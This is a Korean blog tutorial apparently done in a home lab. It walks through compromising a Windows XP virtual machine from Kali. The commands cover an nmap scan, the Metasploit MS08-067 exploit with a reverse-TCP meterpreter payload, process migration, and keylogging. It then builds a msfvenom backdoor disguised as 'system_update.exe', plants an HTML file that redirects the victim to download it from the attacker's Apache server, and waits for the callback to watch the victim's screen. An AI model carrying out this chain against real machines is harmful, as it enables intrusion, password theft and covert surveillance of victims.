본문 바로가기
category/해킹 실습

KALI를 활용한 침입 탐지 시나리오

by 자운대고라니 2023. 2. 14.
반응형

1. 환경 구성

 

Attacker PC KALI (IP : 192.168.85.129, NAT Network)

Destination PC windows XP professional (192.168.85.135 NAT Network)

방화벽은 꺼져있는 상태로 가정

네트워크 설계도 (host PC IP : 192.168.85.1)

2. 대상 탐색

 

- nmap sV 192.168.85.135

운영체제가 windows XP라는 것을 확인했다. Windows XP에서 업데이트되지 않은 항목으로

접근할 것이다.

3. 취약점 분석, Exploit

 

CVE-2008-4250Windows 취약점 중 NetAPI32.dll 라이브러리 파일에서 Stack Buffer Overflow가 발생하는 점을 이용하여 원격 명령 실행을 취하는 취약점이다.

여기서 NetAPI32.dll 파일은 Windows 운영체제에서 다양한 통신 기능을 응용 프로그램이 접근할 수 있도록 지원해주는 파일이다.

실습을 시작 전 취약점 분석에 필요한 nse파일이 환경에 있는지 확인해야 한다.

(nse 파일은 nmap script engine의 약자이다.)

직접 디렉토리에 가서 확인하는 방법이 있지만, 이보다 간편한 스크립트를 사용하겠다.

(웹 사이트엔 구버전으로 소스가 업로드돼있다. 수정한 코드 결과가 아래와 같다.)

 

nse_search.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import sys,subprocess,os
# to see if nmap is installed and the script directory is indefault directories
usage ="""
nmap nse search script coded by bostonlink @ pentest-labs.org
example1: ./nse_search.py -l
example2: ./nse_search.py -s smb"""
help ="""
Nmap nse search script options
-l = lists all nmap nse scripts within the /nmap/scripts directory
-s [search string] = searches all nse scripts and prints ones that matches thesearch string\n"""
if len(sys.argv) <=1:
    print(usage)
    print(help)
    sys.exit(0)
cwd = os.getcwd()
script_path ='/usr/share/nmap/scripts/'#kali linux nmap 위치 수정
def chg_dir():
    if cwd != script_path:
        os.chdir('/usr/share/nmap/scripts/')
        print('\nChanged CWD to default nmap scriptdirectory\n')
def list_all():
    cmd1 = subprocess.Popen(["ls","-l"], stdout =subprocess.PIPE)
    lista = cmd1.stdout.read()
    cmd1.wait()
    print(lista)
def list_search():
    if len(sys.argv) <=2:
        print(usage)
        print(help)
        sys.exit(0)
    else:
        search_string = sys.argv[2]
        cmd1 = subprocess.Popen(["ls"], stdout =subprocess.PIPE)
        lista = cmd1.stdout.read()
        cmd1.wait()
        lista1 = lista.strip().split()
        search_string = search_string.encode('utf-8'#encoding 에러
        for i in lista1:
            if search_string in i:
               print(i)
if sys.argv[1=='-l':
    chg_dir()
    list_all()
if sys.argv[1=='-s':
    chg_dir()
    list_search()
 
cs

 

- python nse_search.py s smb

사진에서 빨간색으로 박스친 ms08-067.nse를 활용하여 취약점을 파악할 것이다.

- msfconsole (console 접속)

- use exploit/windows/smb/ms08_067_netapi (ms08_067_netapi 사용)

- show options (옵션 확인)

Module options의 결과로 RHOSTPAYLOAD만 바꾸면 된다.

- set RHOST 192.168.85.135 (RHOST windows 변경)

- set PAYLOAD windows/meterpreter/reverse_tcp (PAYLOAD reverse_tcp 변경)

- show options (옵션 확인)

- exploit (실패)

아래 사진과 같이 exploit 결과가 실패한다면 해당 체계는 1. 취약점 존재 X, 2. 방화벽의 이유가 있다.

- exploit (성공)

아래 사진과 같이 exploit 결과가 성공했다면, 해당 취약점을 통한 공격이 가능하다.

meterpreter로 접속이 성공했고, 이를 활용해 keyloging을 한다고 가정하겠다.

4. 권한 상승

 

더 많은 기능을 사용하기 위해 권한 상승은 필수이다.

 

ps (PID 확인)

explorer.exepid를 확인해야한다. explorer.exe는 윈도우 탐색기 프로그램인데, ROOT 권한을 가지고 있기 때문에 현재 pidexplorer.exe pid와 동일하게 하면 권한 상승이 가능하다.

- getpid (현재 pid 확인)

- migrate 1220 (explorer.exe pid로 변경)

- run post/windows/gather/win_privs (현재 meterpreter로 접속된 user의 정보)

root계정으로 권한이 상승한 것을 알 수 있다.

5. 침해

Keylogging

- run post/windows/capture/keylog_recorder (windows keyloger 실행)

해당 프로그램이 실행되는 동안 windows 운영체제로 이동한다.

google.com을 검색한 후 kali로 돌아가서 saved된 파일을 cat으로 확인한다.

- cat 파일명

google.com이란 단어가 기록된 것을 알 수 있다. , 키로깅이 성공했다. 더욱 민감한 ID, password의 정보도 탈취할 수 있다.

6. 백도어 (유지보수)

 

- msfvenom p windows/meterpreter/reverse_tcp lhost=192.168.85.129(Attacker IP) -f exe o system_update.exe

- service apache2 start (아파치 서버 구동)

attackerIP가 해당 체계에 접속할 수 있는 백도어 파일을 생성한다. 정상적인 프로그램처럼 보이도록 system_update.exe로 만들었다.

백도어 파일 생성 전에 접근에 성공한 meterpreter를 활용하여서 XSS 공격에 사용될 파일을 생성한다.

 

- shell (windows cmd mode로 변경)

- cd ../..

- cd Documents and Settings

- cd Administrator

- echo ^<script^>window.location.href="http://192.168.85.129/system_update.exe"^</script^> > system_update.html

 

windows 사용자가 잘 볼 수 있는 Administrator 디렉토리로 이동한 후, 스크립트가 들어있는 html파일을 생성한다. echo 명령어에서 <, >는 인식이 안되므로 ^를 앞에 붙여서 사용해야한다.

, <script>window.location.href=“http://192.168.85.129/system_update.exe”</script>

스크립트가 들어있는 system_update.html 파일이 생성된 것이고, html파일을 실행시키면, 아파치 서버에 업로드 시킨 system_update.exe 백도어 파일이 설치된다는 뜻이다.

windows Administrator 디렉토리에 저장된 것을 알 수 있다.

사용자가 해당 html파일을 실행시킨다고 가정한다.

system_update.html을 실행시켜 system_update.exe 파일이 받아진 사진이다.

- use multi/handler

- set payload windows/meterpreter/reverse_tcp

- set lhost 192.168.85.129 (Attacker IP)

- exploit

피해자가 백도어 파일을 다운 받고, 실행시키기 전에 공격자는 multi/handler를 사용해 피해자가

exe파일을 실행시키기만 기다린다.

아래 사진은 exe파일을 실행시킨 후의 사진이다. 성공적으로 meterpreter 화면으로 들어간 것을 알 수 있다.

이후 meterpreter에서 screenshare 명령어를 입력하면 실시간으로 피해자 PC의 인터페이스를 볼 수 있다.

7. 그림 설명

 

(1) 대상 탐색

 

nmap sV 명령어를 활용하여 대상 체계의 OS, Version, Open Port 등의 정보를 수집한다.

(2) 취약점 분석, Exploit

 

OS, Version, Open Port의 정보를 토대로 공격 가능한” ms08_067 취약점으로 접근 후 exploit에 성공하여 meterpreter, CMD 권한을 획득한다.

(3) 권한 상승

 

explorer PIDmigrate 명령어를 통해 관리자 권한을 획득한다.

(4) 침해

 

키로거 프로그램을 활용해 windowskeylogging 정보를 추출한다.

(5) 백도어

 

앞서 성공한 exploit을 바탕으로 피해자 PCApache 다운로드 링크가 들어있는 html 파일을 삽입시킨 후 피해자가 서버에 접근하기까지 기다린다. (이때 html 파일을 XSS script 코드로 작성하여 Apache에 바로 접속할 수 있도록 만든다.)서버에 접근해서 백도어 파일을 설치하여 실행시킨다면 공격자가

실행 중인 handler를 통해 피해자 PC에 접근할 수 있다. ScreenShare 프로그램으로 피해자가 무슨

행위를 하는지 실시간으로 볼 수 있다.

 

반응형

'category > 해킹 실습' 카테고리의 다른 글

DOS 공격 실습  (4) 2023.02.19

댓글